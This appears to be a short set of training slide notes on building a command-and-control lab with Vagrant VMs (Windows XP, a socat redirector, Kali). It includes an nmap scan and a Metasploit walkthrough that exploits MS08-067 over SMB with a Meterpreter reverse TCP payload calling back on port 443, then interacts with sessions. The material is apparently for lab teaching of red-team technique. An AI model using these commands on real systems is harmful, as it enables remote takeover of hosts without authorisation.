C2 Intro

First Vagrant!


wget -O Vagrantfile
curl -o Vagrantfile
vagrant up

Learning from others


House keeping...

  • fixing windows
    • check - 
    • fix
    • verify



  • setup redir
vagrant ssh winxp -- -oKexAlgorithms=+diffie-hellman-group1-sha1
vagrant ssh redir
sudo socat TCP4-LISTEN:443,fork TCP4:


  • Vagrant commands
    • see all vms


  • Now Kali
vagrant global-status
vagrant ssh kali
nmap -sT -O -oA initial-network


Exploitation - metasploit

use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp         # This is the payload I set
show options                                        # This shows all the options for the payload and exploit
set RHOST                              # The host you are attacking
set LHOST                              # The external IP that the payload should connect to
set LPORT 443                                       # External port that the payload will connect to
set ReverseListenerBindAddress         # The internal IP address of the kali box that's being NAT'd
set ReverseListenerBindPort 443
set ExitOnSession false                             # Don't stop the handler once a session is established (allows you to receive multiple sessions for a handler)
exploit -j -z                                       # Start the exploit as a job. Do not automatically interact with new sessions.

## after you have your session do this to see and interact with it.
sessions -l
# connect to whatever your session number is that displays below
sessions -i 1
# to interact with your exploited host
# to show that the metasploit module isn't connected to your machine

Copy of C2 infrastructure

By elrey741 (Alex)